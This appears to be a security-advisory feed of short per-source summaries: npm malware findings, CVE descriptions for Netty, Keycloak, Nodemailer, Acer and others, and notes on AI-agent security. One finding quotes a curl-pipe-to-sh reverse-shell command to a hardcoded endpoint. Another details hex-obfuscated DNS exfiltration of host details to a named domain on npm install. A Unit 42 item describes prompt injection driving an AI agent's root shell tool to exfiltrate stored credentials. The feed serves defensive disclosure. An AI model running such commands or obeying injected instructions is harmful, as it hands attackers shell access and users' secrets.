---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9)
index.js line 5 invokes child_process.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script into sh to open a reverse shell to the hardcoded attacker endpoint 10.0.16.19:443. The exported function is on the main module load path, so any consumer that invokes it hands full interactive shell access on the installer's host to whoever controls that endpoint. package.json also declares a self-referential dependency on internallib_v949 ^1.0.0, matching the dependency-confusion pattern in which an internal package name is squatted on the public npm registry to intercept internal builds. The package name pattern (an unusual '_v949' suffix on a generic 'internallib' base) is consistent with a targeted internal-name squat rather than a legitimate library.
## Source: ghsa-malware (56b1dae4951f7ccdf0525a1e36a72191f18339c2101dda0b06482ee0efd70b46)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
A vulnerability in Netty's HTTP/1 decoder allows incomplete validation of malformed Transfer-Encoding headers, enabling HTTP request smuggling attacks. This flaw affects Red Hat build of Keycloak 26.4. An attacker can send crafted HTTP requests to inject arbitrary requests, potentially bypassing security controls or accessing unauthorized resources. The CVSS score is 6.5 (medium severity). Red Hat has issued a security advisory but does not explicitly confirm a patch for this specific Keycloak vulnerability in the provided content.
IBM Guardium Data Protection version 12.2 contains a critical vulnerability (CVE-2026-82967) that allows unauthenticated remote attackers to bypass IP-based access controls and access the management interface. This authentication bypass flaw can lead to full compromise of confidentiality, integrity, and availability of the affected system.
A vulnerability in the Netty RtspDecoder component of Red Hat Build of Apache Camel 3.33.3.SP2 allows remote attackers to bypass method-based access controls by exploiting improper handling of trailing control bytes in RTSP method tokens. This method-token smuggling can also enable laundering of malicious requests through Netty-based RTSP proxies, making them appear legitimate to backend systems.
Unit 42 researchers identified that AWS AgentCore Harness's default configuration enables a built-in shell tool with root privileges, which can be exploited via prompt injection to exfiltrate plaintext credentials from the AgentCore Identity vault. The shell tool is enabled by default and can execute arbitrary shell commands with root access, posing a risk if allowedTools is not scoped properly. AWS reviewed the finding and classified it as informative under the shared responsibility model, emphasizing customer-side controls such as scoping allowedTools and egress filtering. Mitigation involves restricting allowedTools to only necessary tools, applying least privilege to identity vault service accounts, and monitoring outbound traffic from harness containers. No official patch or fix is indicated; remediation relies on configuration and operational controls.
HCL BigFix Service Management is affected by an Unrestricted File Upload vulnerability due to improper file validation controls, which could allow an unauthenticated attacker to upload and execute malicious payloads, resulting in a complete server compromise.
A flaw was found in Netty's `netty-handler-ssl-ocsp` component. A remote attacker can exploit this vulnerability by providing an Online Certificate Status Protocol (OCSP) response that omits the optional `nextUpdate` field. This omission causes the OCSP validation to be silently skipped, leading to applications proceeding with an unvalidated certificate. This can result in a bypass of security controls where certificate validation is expected.
The @lekzo/baileys npm package versions 0.0.1 and 0.0.7 declare a dependency on libsignal via a bare GitHub repository reference without a fixed commit, tag, or version. This allows the dependency to resolve to the current HEAD of that repository at install time, enabling arbitrary code execution from whoever controls that repository. Installation of this package can lead to full system compromise, requiring immediate secret and key rotation and package removal.
A vulnerability in the team folders (formerly group folders) app when used in combination with the workspace app allowed API/REST-only delegated administrators to bypass folder-level authorization controls. The workspace app enables organizations to delegate limited administrative privileges for team folder management via API/REST only, restricting access to folders for which the admin has advanced permissions.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (826e81131e7b2a296324d469c10f1e44d5b33683703c8a2e0f101a8674c1cfcf)
The package impersonates the Tink open-banking SDK (name @tink/tink-link-core, description 'Enterprise-grade client core for open banking', homepage github.com/tink-link/core) but its actual behavior is host reconnaissance and DNS exfiltration. The package.json install script runs `node index.js`, and both the install entry and main entry load lib/core.js, which reads os.userInfo().username, os.hostname(), and process.cwd(), joins them with a prefix and a hardcoded domain as DNS labels, and issues a dns.resolve4() lookup. The destination hostname and module/API names are reconstructed at runtime from hex byte arrays via Buffer.from(...).toString('utf8') in lib/b02e30.js and lib/6ad264.js — the decoded domain is oob.algamil7x.xyz and the label prefix is tinkcore. Module names 'os','dns','process' and API names 'userInfo','hostname','cwd','resolve4' are loaded via module.constructor._load with hex-decoded strings to hide them from static review. DNS-based egress bypasses HTTP proxy and firewall controls. The beacon fires automatically on `npm install` (via the install lifecycle script) and again on `require()` of the package, giving the attacker installer username, hostname, and current working directory for every affected environment.
A vulnerability in the Linux kernel's riscv-sbi-mpxy mailbox component allows improper validation of RPMI notification lengths. The SBI return value controls the number of bytes copied from shared memory into the RPMI notification buffer but is not validated against the negotiated shared-memory size, potentially leading to buffer overflows or memory corruption. The event walker also uses a reversed loop condition that can inspect incomplete event records. The vulnerability has been resolved by validating the complete notification length before copying and adjusting the event iteration logic.
This content discusses key enterprise security controls for managing MCP (Model Communication Protocol) usage in organizations. MCP enables AI agents to interact with business tools, expanding AI capabilities but increasing attack surface and risk. The main security controls recommended are ensuring all AI actions are attributable to a human user, enforcing least privilege for AI agents, and routing all MCP requests through a governed middleware gateway that enforces business policies. The gateway can require human approval for high-risk actions, throttle bulk reads, screen inbound content, and audit all activity. This approach mitigates risks such as unauthorized destructive actions, data exfiltration via prompt injection, and shadow MCP usage. The discussion is advisory and does not describe a specific vulnerability or exploit.
A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense due to insufficient access controls in a privileged service. An authenticated local user may be able to access the service and perform unauthorized registry modifications, potentially resulting in local privilege escalation.
A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense. Insufficient access controls within a privileged Named Pipe service may allow an authenticated local user to perform unauthorized registry operations. In certain situations, this could lead to privilege escalation or compromise of the affected system.
A vulnerability has been identified in the Acer Agent Service component included with NitroSense and PredatorSense. Insufficient access controls within a privileged service may allow an authenticated local user to perform unauthorized registry operations. In certain situations, this could lead to privilege escalation or compromise of the affected system.
Nodemailer versions >= 6.9.16 and < 9.1.0 mis-parse RFC 5322 comments in email addresses: in lib/addressparser, a comment closed immediately before a non-break character causes the tokenizer to concatenate the atoms surrounding the comment instead of treating the comment as folding whitespace that terminates the domain. A recipient address such as user@good-corp.com(x)evil.com is therefore read by Nodemailer as the single domain good-corp.comevil.com (registrable domain comevil.com, which an attacker can register) and used for both the SMTP envelope (RCPT TO) and the emitted To:/From: headers, while a conformant RFC 5322 parser terminates the domain at the comment and reads good-corp.com. An application that validates the recipient domain with a strict RFC 5322 parser (without inspecting parse defects) or a naive prefix/substring allow-list and then hands the raw address to Nodemailer can be induced to deliver mail to a domain the attacker controls. Fixed in 9.1.0.
AVideo versions up to and including 29.0 have a missing authorization check in the set_api_comment function. This flaw allows authenticated users to post comments on videos that are password-protected or restricted to certain groups, bypassing intended access controls. Attackers can exploit this by sending POST requests with arbitrary video IDs to the comment API endpoint, enabling them to comment on videos they are not authorized to watch.
Pelican Panel versions before 1.0.0-beta35 enforce startup write permissions only through disabled form controls rather than server-side authorization checks. Attackers with startup.read permission can craft Livewire state updates to invoke afterStateUpdated callbacks and modify startup commands, docker images, and variables to execute arbitrary commands in the container.
AI advancements are accelerating the discovery of vulnerabilities, leaving many operational technology (OT) systems unpatchable and at risk. These OT systems often run on legacy or bespoke software that cannot be easily updated or patched. Ignoring these vulnerabilities is not a viable defense. Instead, network-based protections such as micro-segmentation, next-generation firewalls (NGFW), and intrusion prevention systems (IPS) can provide compensatory controls by filtering and blocking exploit attempts. The concept of air-gapping is often ineffective in practice due to operational shortcuts. While patching remains the best defense, these layered network protections help mitigate risks where patching is impossible.